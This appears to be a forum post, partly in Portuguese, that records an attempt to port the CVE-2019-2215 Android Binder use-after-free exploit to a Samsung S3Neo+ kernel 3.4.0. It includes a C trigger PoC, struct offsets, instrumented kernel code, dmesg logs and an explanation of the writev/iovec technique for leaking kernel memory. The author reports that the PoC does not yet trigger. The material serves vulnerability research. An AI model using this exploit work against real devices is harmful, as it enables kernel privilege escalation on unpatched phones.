
CVE 2019-2215 Uso após liberação no Android Binder
Fonte:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885
Samsung S7 e S7 Edge com Kernel 3.18.x parecem não ser vulneráveis (mas podem ser, com mais trabalho e ajustes no PoC). Não foi possível ver mais, pois não tenho dispositivos rooteados.
Samsung S3Neo+ com LineageOS Kernel 3.4.0 possivelmente vulnerável (ainda em andamento)
Kernel 3.4.0
https://github.com/S3NEO/android_kernel_samsung_s3ve3g/
No KASLR
No need to leak Kernel Struct Addresses.
8-byte aligned (because there is one less field in the struct)
binder_thread size:0xfc (252)
wait queue offset:0x2c (44)
Had to add at least 2 entries for it to trigger, with 1, it didn't trigger
https://github.com/S3NEO/android_kernel_samsung_s3ve3g/blob/348ef929213854f5c7ce6b608e2ca0216d6bdce7/fs/eventpoll.c#L533
PoC:
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#define BINDER_THREAD_EXIT 0x40046208ul
#define BINDER_VERSION 0xc0046209ul
int main()
{
int fd,fd1,fd2, epfd,epfd1;
struct epoll_event event = { .events = EPOLLOUT };
fd = open("/dev/binder", O_RDONLY);
fd1 = open("/dev/random", O_RDONLY);
epfd = epoll_create(1000);
epfd1 = epoll_create(1000);
if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event)) err(1, "epoll_add");
if (epoll_ctl(epfd1, EPOLL_CTL_ADD, fd1, &event)) err(1, "epoll_add");
//ioctl(fd, BINDER_VERSION, NULL);
ioctl(fd, BINDER_THREAD_EXIT, NULL);
printf("Finished here.");
}
Modifiquei binder.c e evenpoll.c no Kernel para ver o que está acontecendo
binder.c
static int binder_free_thread(struct binder_proc *proc,
struct binder_thread *thread)
{
struct binder_transaction *t;
struct binder_transaction *send_reply = NULL;
int active_transactions = 0;
static const size_t memberOffset = offsetof(binder_thread, wait);
wait_queue_head_t *wqhptr = &thread->wait;
wait_queue_head_t *pwqhptr = &proc->wait;
struct list_head *n1,*p1;
wait_queue_t *my2;
printk(KERN_INFO "iovec str size:%d",sizeof(iovec));
printk(KERN_INFO "thread->task_list:%p",(void *)&wqhptr->task_list);
printk(KERN_INFO "proc->task_list:%p",(void *)&pwqhptr->task_list);
list_for_each_safe(p1,n1, &pwqhptr->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "p list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
list_for_each_safe(p1,n1, &wqhptr->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "t list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
eventpoll.c
static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
wait_queue_head_t *whead;
wait_queue_t *strptr;
struct list_head *n1,*p1;
wait_queue_t *my2;
rcu_read_lock();
/* If it is cleared by POLLFREE, it should be rcu-safe */
whead = rcu_dereference(pwq->whead);
printk(KERN_INFO "whead before");
if (whead)
{
strptr=&pwq->wait;
list_for_each_safe(p1,n1, &pwq->whead->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
remove_wait_queue(whead, &pwq->wait);
printk(KERN_INFO "remove wait queue:%p", (void*)&pwq->wait);
printk(KERN_INFO "remove wait queue task list:%p", (void*)&strptr->task_list);
Vejo que a lista é impressa.....mas durante a inicialização do Android, não o meu PoC:
During Android start
[ 84.747753] binder_ioctl: 1878:2371 40046208 0
[ 84.747765] iovec str size:8
[ 84.747771] thread->task_list:e4fb2e30
[ 84.747777] proc->task_list:e57d866c
[ 84.747784] p list= e57d866c e7fffe7c
[ 84.747790] p list= e656de7c e57d866c
[ 84.747797] binder_free_thread size:252 worker_off:44
[ 84.747804] freed thread:e4fb2e00
I see proc->task_list ...
PoC:
[ 642.254192] wq queue:e7ce8798
[ 642.254201] epoll struct:e7ce8780
[ 642.254214] wq queue:e7ce8f98
[ 642.254220] epoll struct:e7ce8f80
[ 642.254230] wq queue:e7ce8718
[ 642.254236] epoll struct:e7ce8700
[ 642.254266] binder_ioctl: 7392:7392 40046208 0
[ 642.254274] iovec str size:8
[ 642.254280] thread->task_list:e5389b30
[ 642.254286] proc->task_list:c309d86c
[ 642.254292] binder_free_thread size:252 worker_off:44
[ 642.254299] freed thread:e5389b00
[ 642.254736] ep_unregister_pollwait struct:e7ce8780 epi struct:e51d0480
[ 642.254792] ep_unregister_pollwait struct:e7ce8f80 epi struct:e51d0a80
[ 642.254799] ep_unregister_pollwait list not empty
[ 642.254805] whead before
[ 642.254811] my2= c0f50cc4 c0f50cc4
[ 642.254817] remove wait queue:e734b994
[ 642.254823] remove wait queue task list:e734b9a0
[ 642.254830] ep_unregister_pollwait list not empty
[ 642.254835] whead before
[ 642.254841] my2= c0f50cd0 c0f50cd0
[ 642.254847] remove wait queue:e734bb24
[ 642.254852] remove wait queue task list:e734bb30
[ 642.254863] ep_free
[ 642.254873] ep_free
[ 642.254881] ep_free
No entanto, o bug não é acionado no meu PoC. Não consigo ver entradas duplamente encadeadas sob thread e proc :/
Aqui é onde o bug de uso após liberação deve entrar.
Código:
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
When this is called, the binder_thread structure is freed in the kernel.
Immediately after the parent process calls:
Código:
b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
In the kernel, memory is allocated to copy over iovec_array from userspace. This poc depends on the pointer from this allocation, to be the same as the recently freed binder_thread memory.
Then, when the child process exits, the EPOLL cleanup will use the waitqueue in the binder_thread structure, that has been overwritten with the values in iovec_array. When EPOLL cleanup unlinks the waitqueue, 0xDEADBEEF will get overwritten by a pointer in kernelspace. This has to happen just before the writev call in the parent process starts to copy over the second buffer, which gets us a kernel space memory leak.
If writev is returning 0x1000 it means the timing is off, the wait queue offset is off, the kmalloc allocation in the writev function isn't the same as the freed binder_thread, or your kernel isn't vulnerable.